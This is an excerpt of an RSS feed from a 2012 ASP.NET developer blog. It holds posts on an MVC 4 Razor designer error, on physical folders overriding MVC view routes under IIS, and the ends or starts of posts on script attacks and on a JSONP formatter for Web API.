&lt;p&gt;Several people commented on Twitter today that there isn't enough discussion on issues like this that address serious needs in the web browser space. Realistically security has to be a number one concern with Web applications in general - there isn't a Web app out there that is not vulnerable. And yet nothing has been done to address these security issues even though there might be relatively easy solutions to make this happen.&lt;/p&gt;
&lt;p&gt;It'll take time, and it's probably not going to happen in our lifetime, but maybe this rambling thought sparks some ideas on how this sort of restriction can get into browsers in some way in the future.&lt;/p&gt;&lt;div style='margin: 10px 0px'&gt;&lt;small&gt;© Rick Strahl, West Wind Technologies, 2005-2012&lt;/small&gt;&lt;/div&gt;&lt;div&gt;Posted in &lt;b&gt;&lt;a href='/Weblog/ShowPosts.aspx?Category= ASP.NET'&gt; ASP.NET&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;a href='/Weblog/ShowPosts.aspx?Category=HTML5'&gt;HTML5&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;a href='/Weblog/ShowPosts.aspx?Category=HTML'&gt;HTML&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;a href='/Weblog/ShowPosts.aspx?Category=Security'&gt;Security&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div style='margin-top: 5px;'&gt;
&lt;a href="https://twitter.com/share" class="twitter-share-button" data-text="Wishful Thinking: Why can't HTML fix Script Attacks at the Source?" data-via="RickStrahl" data-lang="en" data-hashtags="" data-url="http://www.west-wind.com/weblog/posts/2012/Apr/14/Wishful-Thinking-Why-cant-HTML-fix-Script-Attacks-at-the-Source"&gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");&lt;/script&gt;

&lt;g:plusone size="medium" href="http://www.west-wind.com/weblog/posts/2012/Apr/14/Wishful-Thinking-Why-cant-HTML-fix-Script-Attacks-at-the-Source" "&gt;&lt;/g:plusone&gt;
&lt;script type="text/javascript"&gt;
  (function() {
    var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
    po.src = 'https://apis.google.com/js/plusone.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
  })();
&lt;/script&gt;

&lt;/div&gt;&lt;/small&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=k6LbwmKUWRk:6Y35m0tVwq4:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=k6LbwmKUWRk:6Y35m0tVwq4:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=k6LbwmKUWRk:6Y35m0tVwq4:D7DqB2pKExk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=k6LbwmKUWRk:6Y35m0tVwq4:D7DqB2pKExk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=k6LbwmKUWRk:6Y35m0tVwq4:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=k6LbwmKUWRk:6Y35m0tVwq4:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=k6LbwmKUWRk:6Y35m0tVwq4:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=k6LbwmKUWRk:6Y35m0tVwq4:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=k6LbwmKUWRk:6Y35m0tVwq4:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/RickStrahl/~4/k6LbwmKUWRk" height="1" width="1"/&gt;</description>
    <feedburner:origLink>http://www.west-wind.com/weblog/posts/2012/Apr/14/Wishful-Thinking-Why-cant-HTML-fix-Script-Attacks-at-the-Source</feedburner:origLink></item>
    <item>
      <title>Odd MVC 4 Beta Razor Designer Issue</title>
      <link>http://feedproxy.google.com/~r/RickStrahl/~3/4Jts7J5pfAc/Odd-MVC-4-Beta-Razor-Designer-Issue</link>
      <guid isPermaLink="false">1325108_201204141954</guid>
      <pubDate>Sat, 14 Apr 2012 19:54:02 GMT</pubDate>
      <dc:creator>Rick Strahl</dc:creator>
      <comments>http://www.west-wind.com/weblog/posts/2012/Apr/14/Odd-MVC-4-Beta-Razor-Designer-Issue#Comments</comments>
      <slash:comments>3</slash:comments>
      <wfw:commentRss>http://west-wind.com/weblog/commentrss.aspx?id=1325108</wfw:commentRss>
      <category>Razor</category>
      <category>MVC</category>
      <description>&lt;p&gt;This post is a small cry for help along with an explanation of a problem that is hard to describe on twitter or even a connect bug and written in hopes somebody has seen this before and any ideas on what might cause this. Lots of helpful people had comments on Twitter for me, but they all assumed that the code doesn't run, which is not the case - it's a designer issue.&lt;/p&gt; &lt;p&gt;A few days ago I started getting some odd problems in my MVC 4 designer for an app I've been working on for the past 2 weeks. Basically the MVC 4 Razor designer keeps popping me errors, about the call signature to various Html Helper methods being incorrect. It also complains about the ViewBag object and not supporting dynamic requesting to load assemblies into the project. &lt;/p&gt; &lt;p&gt;Here's what the designer errors look like:&lt;/p&gt; &lt;p&gt;&lt;a href="http://www.west-wind.com/Weblog/images/200901/Windows-Live-Writer/Odd-MVC-4-Beta-Razor-Designer-Issue_8719/MVC%20Errors_2.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="MVC Errors" border="0" alt="MVC Errors" src="http://www.west-wind.com/Weblog/images/200901/Windows-Live-Writer/Odd-MVC-4-Beta-Razor-Designer-Issue_8719/MVC%20Errors_thumb.png" width="1197" height="436"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;You can see the red error underlines under the ViewBag and an Html Helper I plopped in at the top to demonstrate the behavior. Basically any HtmlHelper I'm accessing is showing the same errors.&lt;/p&gt; &lt;p&gt;Note that the code *runs just fine* - it's just the designer that is complaining with Errors.&lt;/p&gt; &lt;p&gt;What's odd about this is that *I think* this started only a few days ago and nothing consequential that I can think of has happened to the project or overall installations. These errors aren't critical since the code runs but pretty annoying especially if you're building and have .csHtml files open in Visual Studio mixing these fake errors with real compiler errors. &lt;/p&gt; &lt;h3&gt;What I've checked&lt;/h3&gt; &lt;p&gt;Looking at the errors it indeed looks like certain references are missing. I can't make sense of the Html Helpers error, but certainly the ViewBag dynamic error looks like System.Core or Microsoft.CSharp assemblies are missing. Rest assured they are there and the code DOES run just fine at runtime. This is a designer issue only.&lt;/p&gt; &lt;p&gt;I went ahead and checked the namespaces that MVC has access to in Razor which lives in the Views folder's web.config file:&lt;/p&gt; &lt;p&gt;/Views/web.config&lt;/p&gt; &lt;p&gt;For good measure I added &lt;/p&gt;&lt;pre class="code"&gt;  &lt;span style="color: blue"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;system.web.webPages.razor&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;
    &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;host &lt;/span&gt;&lt;span style="color: red"&gt;factoryType&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc,  &amp;lt;split for layout&amp;gt;&lt;br&gt;                       Version=4.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35&lt;/span&gt;" &lt;span style="color: blue"&gt;/&amp;gt;
    &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;pages &lt;/span&gt;&lt;span style="color: red"&gt;pageBaseType&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;System.Web.Mvc.WebViewPage&lt;/span&gt;"&lt;span style="color: blue"&gt;&amp;gt;
      &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;namespaces&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;
        &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;add &lt;/span&gt;&lt;span style="color: red"&gt;namespace&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;System.Web.Mvc&lt;/span&gt;" &lt;span style="color: blue"&gt;/&amp;gt;
        &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;add &lt;/span&gt;&lt;span style="color: red"&gt;namespace&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;System.Web.Mvc.Ajax&lt;/span&gt;" &lt;span style="color: blue"&gt;/&amp;gt;
        &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;add &lt;/span&gt;&lt;span style="color: red"&gt;namespace&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;System.Web.Mvc.Html&lt;/span&gt;" &lt;span style="color: blue"&gt;/&amp;gt;
        &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;add &lt;/span&gt;&lt;span style="color: red"&gt;namespace&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;System.Web.Routing&lt;/span&gt;" &lt;span style="color: blue"&gt;/&amp;gt;
        &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;add &lt;/span&gt;&lt;span style="color: red"&gt;namespace&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;System.Linq&lt;/span&gt;" &lt;span style="color: blue"&gt;/&amp;gt;
        &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;add &lt;/span&gt;&lt;span style="color: red"&gt;namespace&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;System.Linq.Expressions&lt;/span&gt;" &lt;span style="color: blue"&gt;/&amp;gt;
        &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;add &lt;/span&gt;&lt;span style="color: red"&gt;namespace&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;ClassifiedsBusiness&lt;/span&gt;" &lt;span style="color: blue"&gt;/&amp;gt;
        &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;add &lt;/span&gt;&lt;span style="color: red"&gt;namespace&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;ClassifiedsWeb&lt;/span&gt;"&lt;span style="color: blue"&gt;/&amp;gt;
        &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;add &lt;/span&gt;&lt;span style="color: red"&gt;namespace&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;Westwind.Utilities&lt;/span&gt;" &lt;span style="color: blue"&gt;/&amp;gt;
        &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;add &lt;/span&gt;&lt;span style="color: red"&gt;namespace&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;Westwind.Web&lt;/span&gt;" &lt;span style="color: blue"&gt;/&amp;gt;
        &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;add &lt;/span&gt;&lt;span style="color: red"&gt;namespace&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;Westwind.Web.Mvc&lt;/span&gt;" &lt;span style="color: blue"&gt;/&amp;gt;
      &amp;lt;/&lt;/span&gt;&lt;span style="color: #a31515"&gt;namespaces&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;
    &amp;lt;/&lt;/span&gt;&lt;span style="color: #a31515"&gt;pages&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;
  &amp;lt;/&lt;/span&gt;&lt;span style="color: #a31515"&gt;system.web.webPages.razor&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;For good measure I added System.Linq and System.Linq.Expression on which some of the Html.xxxxFor() methods rely, but no luck.&lt;/p&gt;
&lt;p&gt;So, has anybody seen this before? Any ideas on what might be causing these issues only at design time rather, when the final compiled code runs just fine?&lt;/p&gt;&lt;div style='margin: 10px 0px'&gt;&lt;small&gt;© Rick Strahl, West Wind Technologies, 2005-2012&lt;/small&gt;&lt;/div&gt;&lt;div&gt;Posted in &lt;b&gt;&lt;a href='/Weblog/ShowPosts.aspx?Category=Razor'&gt;Razor&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;a href='/Weblog/ShowPosts.aspx?Category=MVC'&gt;MVC&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div style='margin-top: 5px;'&gt;
&lt;a href="https://twitter.com/share" class="twitter-share-button" data-text="Odd MVC 4 Beta Razor Designer Issue" data-via="RickStrahl" data-lang="en" data-hashtags="" data-url="http://www.west-wind.com/weblog/posts/2012/Apr/14/Odd-MVC-4-Beta-Razor-Designer-Issue"&gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");&lt;/script&gt;

&lt;g:plusone size="medium" href="http://www.west-wind.com/weblog/posts/2012/Apr/14/Odd-MVC-4-Beta-Razor-Designer-Issue" "&gt;&lt;/g:plusone&gt;
&lt;script type="text/javascript"&gt;
  (function() {
    var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
    po.src = 'https://apis.google.com/js/plusone.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
  })();
&lt;/script&gt;

&lt;/div&gt;&lt;/small&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=4Jts7J5pfAc:GsH8y5EsIoo:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=4Jts7J5pfAc:GsH8y5EsIoo:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=4Jts7J5pfAc:GsH8y5EsIoo:D7DqB2pKExk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=4Jts7J5pfAc:GsH8y5EsIoo:D7DqB2pKExk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=4Jts7J5pfAc:GsH8y5EsIoo:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=4Jts7J5pfAc:GsH8y5EsIoo:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=4Jts7J5pfAc:GsH8y5EsIoo:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=4Jts7J5pfAc:GsH8y5EsIoo:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=4Jts7J5pfAc:GsH8y5EsIoo:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/RickStrahl/~4/4Jts7J5pfAc" height="1" width="1"/&gt;</description>
    <feedburner:origLink>http://www.west-wind.com/weblog/posts/2012/Apr/14/Odd-MVC-4-Beta-Razor-Designer-Issue</feedburner:origLink></item>
    <item>
      <title>Physical Directories vs. MVC View Paths</title>
      <link>http://feedproxy.google.com/~r/RickStrahl/~3/J6lnVrTDr3g/Physical-Directories-vs-MVC-View-Paths</link>
      <guid isPermaLink="false">1317066_201204052138</guid>
      <pubDate>Thu, 05 Apr 2012 21:38:36 GMT</pubDate>
      <dc:creator>Rick Strahl</dc:creator>
      <comments>http://www.west-wind.com/weblog/posts/2012/Apr/05/Physical-Directories-vs-MVC-View-Paths#Comments</comments>
      <slash:comments>4</slash:comments>
      <wfw:commentRss>http://west-wind.com/weblog/commentrss.aspx?id=1317066</wfw:commentRss>
      <category>MVC</category>
      <category> IIS7</category>
      <description>&lt;p&gt;This post falls into the bucket of operator error on my part, but I want to share this anyway because it describes an issue that has bitten me a few times now and writing it down might keep it a little stronger in my mind.&lt;/p&gt; &lt;p&gt;I've been working on an MVC project the last few days, and at the end of a long day I accidentally moved one of my View folders from the MVC Root Folder to the project root. It must have been at the very end of the day before shutting down because tests and manual site navigation worked fine just before I quit for the night. I checked in changes and called it a night.&lt;/p&gt; &lt;p&gt;Next day I came back, started running the app and had a lot of breaks with certain views. Oddly custom routes to these controllers/views worked, but stock /{controller}/{action} routes would not. After a bit of spelunking I realized that "Hey one of my View Folders is missing", which made some sense given the error messages I got. I looked in the recycle bin - nothing there, so rather than try to figure out what the hell happened, just restored from my last SVN checkin. At this point the folders are back… but… view access&amp;nbsp; still ends up breaking for this set of views.&lt;/p&gt; &lt;p&gt;Specifically I'm getting the Yellow Screen of Death with:&lt;/p&gt; &lt;p&gt;&lt;strong&gt;CS0103: The name 'model' does not exist in the current context&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Here's the full error:&lt;/p&gt; &lt;h3&gt;Server Error in '/ClassifiedsWeb' Application.  &lt;hr size="1" width="100%"&gt; &lt;/h3&gt; &lt;h4&gt;&lt;i&gt;Compilation Error&lt;/i&gt;&lt;/h4&gt;&lt;b&gt;Description: &lt;/b&gt;An error occurred during the compilation of a resource required to service this request. Please review the following specific error details and modify your source code appropriately.&lt;br&gt;&lt;b&gt;Compiler Error Message: &lt;/b&gt;CS0103: The name 'model' does not exist in the current context&lt;br&gt;&lt;b&gt;Source Error:&lt;/b&gt; &lt;p&gt;&lt;code&gt;&lt;pre&gt;Line 1:  @model ClassifiedsWeb.EntryViewModel
Line 2:  @{
Line 3:      ViewBag.Title =  Model.Entry.Title + " - " +  ClassifiedsBusiness.App.Configuration.ApplicationName;&lt;/pre&gt;&lt;/code&gt;
&lt;p&gt;&lt;b&gt;Source File:&lt;/b&gt; c:\Projects2010\Clients\GorgeNet\Classifieds\ClassifiedsWeb\Classifieds\Show.cshtml&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;b&gt;Line:&lt;/b&gt; 1
&lt;p&gt;Compiler Warning Messages:
&lt;p&gt;Show Detailed Compiler Output:
&lt;p&gt;Show Complete Compilation Source:
&lt;p&gt;
&lt;hr size="1" width="100%"&gt;
&lt;b&gt;Version Information:&lt;/b&gt; Microsoft .NET Framework Version:4.0.30319; ASP.NET Version:4.0.30319.272&lt;/p&gt;
&lt;p&gt;Here's what's really odd about this error: The views now do exist in the /Views/Classifieds folder of the project, but it appears like MVC is trying to execute the views directly. This is getting pretty weird, man! &lt;/p&gt;
&lt;p&gt;So I hook up some break points in my controllers to see if my controller actions are getting fired - and sure enough it turns out they are not - but only for those views that were previously 'lost' and then restored from SVN. WTF? At this point I'm thinking that I must have messed up one of the config files, but after some more spelunking and realizing that all the other Controller views work, I give up that idea. Config's gotta be OK if other controllers and views are working.&lt;/p&gt;
&lt;h3&gt;Root Folders and MVC Views don't mix&lt;/h3&gt;
&lt;p&gt;As I mentioned the problem was the fact that I inadvertantly managed to drag my View folder to the root folder of the project. &lt;/p&gt;
&lt;p&gt;Here's what this looks like in my FUBAR'd project structure after I copied back /Views/Classifieds folder from SVN:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.west-wind.com/Weblog/images/200901/Windows-Live-Writer/Stupid-Pet-Trick-Physica.-MVC-View-Paths_138E0/MovedCopy_2.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="MovedCopy" border="0" alt="MovedCopy" src="http://www.west-wind.com/Weblog/images/200901/Windows-Live-Writer/Stupid-Pet-Trick-Physica.-MVC-View-Paths_138E0/MovedCopy_thumb.png" width="320" height="541"&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;There's the actual root folder in the /Views folder and the accidental copy that sits of the root. I of course did not notice the /Classifieds folder at the root because it was excluded and didn't show up in the project. Now, before you call me a complete idiot remember that this happened by accident - an accidental drag probably just before shutting down for the night. :-)&lt;/p&gt;
&lt;p&gt;So why does this break? MVC should be happy with views in the /Views/Classifieds folder right? &lt;/p&gt;
&lt;p&gt;While MVC might be happy, IIS is not. The fact that there is a physical folder on disk takes precedence over MVC's routing. In other words if a URL exists that matches a route the pysical path is accessed first. What happens here is that essentially IIS is trying to execute the .cshtml pages directly without ever routing to the Controller methods. In the error page I showed above my clue should have been that the view was served as:&lt;/p&gt;
&lt;p&gt;c:\Projects2010\Clients\GorgeNet\Classifieds\ClassifiedsWeb\Classifieds\Show.cshtml&lt;/p&gt;
&lt;p&gt;rather than&lt;/p&gt;
&lt;p&gt;c:\Projects2010\Clients\GorgeNet\Classifieds\ClassifiedsWeb\&lt;strong&gt;Views\&lt;/strong&gt;Classifieds\Show.cshtml&lt;/p&gt;
&lt;p&gt;But of course I didn't notice that right away, just skimming to the end and looking at the file name.&lt;/p&gt;
&lt;p&gt;The reason that&lt;/p&gt;
&lt;p&gt;/classifieds/list&lt;/p&gt;
&lt;p&gt;actually fires that file is that the ASP.NET Web Pages engine looks for physical files on disk that match a path. IOW, when calling Web Pages you drop the .cshtml off the Razor page and IIS will serve that just fine. So: /classifieds/list looks and tries to find /classifieds/list.cshtml and executes that script. And that is exactly what's happening. Web Pages is trying to execute the .cshtml file and it fails because Web Pages knows nothing about the @model tag which is an MVC specific template extension.&lt;/p&gt;
&lt;p&gt;This is why my breakpoints in the controller methods didn't fire and it also explains why the error mentions that the @model key word is invalid (@model is an MVC provided template enhancement to the Razor Engine).&lt;/p&gt;
&lt;p&gt;The solution of course is super simple: Delete the accidentally created root folder and the problem is solved.&lt;/p&gt;
&lt;h3&gt;Routing and Physical Paths&lt;/h3&gt;
&lt;p&gt;I've run into problems with this before actually. In the past I've had a number of applications that had a physical /Admin folder which also would conflict with an MVC Admin controller. More than once I ended up wondering why the index route (/Admin/) was not working properly. If a physical /Admin folder exists /Admin will not route to the Index action (or whatever default action you have set up, but instead try to list the directory or show the default document in the folder. The only way to force the index page through MVC is to explicitly use /Admin/Index. Makes perfect sense once you realize the physical folder is there, but that's easy to forget in an MVC application.&lt;/p&gt;
&lt;p&gt;As you might imagine after a few times of running into this I gave up on the Admin folder and moved everything into MVC views to handle those operations. Still it's one of those things that can easily bite you, because the behavior and error messages seem to point at completely different&amp;nbsp; problems.&lt;/p&gt;
&lt;p&gt;Moral of the story is: If you see routing problems where routes are not reaching obvious controller methods, &lt;em&gt;&lt;strong&gt;always check to make sure there's isn't a physical path being mapped by IIS&lt;/strong&gt;&lt;/em&gt; instead. That way you won't feel stupid like I did after trying a million things for about an hour before discovering my sloppy mousing behavior :-)&lt;/p&gt;&lt;div style='margin: 10px 0px'&gt;&lt;small&gt;© Rick Strahl, West Wind Technologies, 2005-2012&lt;/small&gt;&lt;/div&gt;&lt;div&gt;Posted in &lt;b&gt;&lt;a href='/Weblog/ShowPosts.aspx?Category=MVC'&gt;MVC&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;a href='/Weblog/ShowPosts.aspx?Category= IIS7'&gt; IIS7&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div style='margin-top: 5px;'&gt;
&lt;a href="https://twitter.com/share" class="twitter-share-button" data-text="Physical Directories vs. MVC View Paths" data-via="RickStrahl" data-lang="en" data-hashtags="" data-url="http://www.west-wind.com/weblog/posts/2012/Apr/05/Physical-Directories-vs-MVC-View-Paths"&gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");&lt;/script&gt;

&lt;g:plusone size="medium" href="http://www.west-wind.com/weblog/posts/2012/Apr/05/Physical-Directories-vs-MVC-View-Paths" "&gt;&lt;/g:plusone&gt;
&lt;script type="text/javascript"&gt;
  (function() {
    var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
    po.src = 'https://apis.google.com/js/plusone.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
  })();
&lt;/script&gt;

&lt;/div&gt;&lt;/small&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=J6lnVrTDr3g:97Zfn928h1E:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=J6lnVrTDr3g:97Zfn928h1E:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=J6lnVrTDr3g:97Zfn928h1E:D7DqB2pKExk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=J6lnVrTDr3g:97Zfn928h1E:D7DqB2pKExk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=J6lnVrTDr3g:97Zfn928h1E:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=J6lnVrTDr3g:97Zfn928h1E:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=J6lnVrTDr3g:97Zfn928h1E:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=J6lnVrTDr3g:97Zfn928h1E:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=J6lnVrTDr3g:97Zfn928h1E:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/RickStrahl/~4/J6lnVrTDr3g" height="1" width="1"/&gt;</description>
    <feedburner:origLink>http://www.west-wind.com/weblog/posts/2012/Apr/05/Physical-Directories-vs-MVC-View-Paths</feedburner:origLink></item>
    <item>
      <title>Creating a JSONP Formatter for ASP.NET Web API</title>
      <link>http://feedproxy.google.com/~r/RickStrahl/~3/EBaQanKe044/Creating-a-JSONP-Formatter-for-ASPNET-Web-API</link>
      <guid isPermaLink="false">1314206_201204030003</guid>
      <pubDate>Tue, 03 Apr 2012 00:03:29 GMT</pubDate>
      <dc:creator>Rick Strahl</dc:creator>
      <comments>http://www.west-wind.com/weblog/posts/2012/Apr/02/Creating-a-JSONP-Formatter-for-ASPNET-Web-API#Comments</comments>
      <slash:comments>5</slash:comments>
      <wfw:commentRss>http://west-wind.com/weblog/commentrss.aspx?id=1314206</wfw:commentRss>
      <category>Web Api</category>
      <description>&lt;p&gt;Out of the box ASP.NET WebAPI does not include a JSONP formatter, but it's actually very easy to create a custom formatter that implements this functionality.&lt;/p&gt; &lt;h3&gt;Why do we need JSONP?&lt;/h3&gt; &lt;p&gt;JSONP is one way to allow browser based JavaScript client applications to bypass cross-site scripting limitations and serve data from the non-current Web server. AJAX in Web Applications uses the XmlHttp object which by default doesn't allow access to remote domains. There are number of ways around this limitation &amp;lt;script&amp;gt; tag loading and JSONP is one of the easiest and semi-official ways that you can do this.&lt;/p&gt; &lt;p&gt;JSONP works by combining JSON data and wrapping it into a function call that is executed when the JSONP data is returned. If you use a tool like jQUery it's extremely easy to access JSONP content.&lt;/p&gt; &lt;p&gt;Imagine that you have a URL like this:&lt;/p&gt; &lt;p&gt;&lt;a href="http://RemoteDomain/aspnetWebApi/albums"&gt;http://RemoteDomain/aspnetWebApi/albums&lt;/a&gt; &lt;/p&gt; &lt;p&gt;which on an HTTP GET serves some data - in this case an array of record albums. This URL is always directly accessible from an AJAX request if the URL is on the same domain as the parent request. 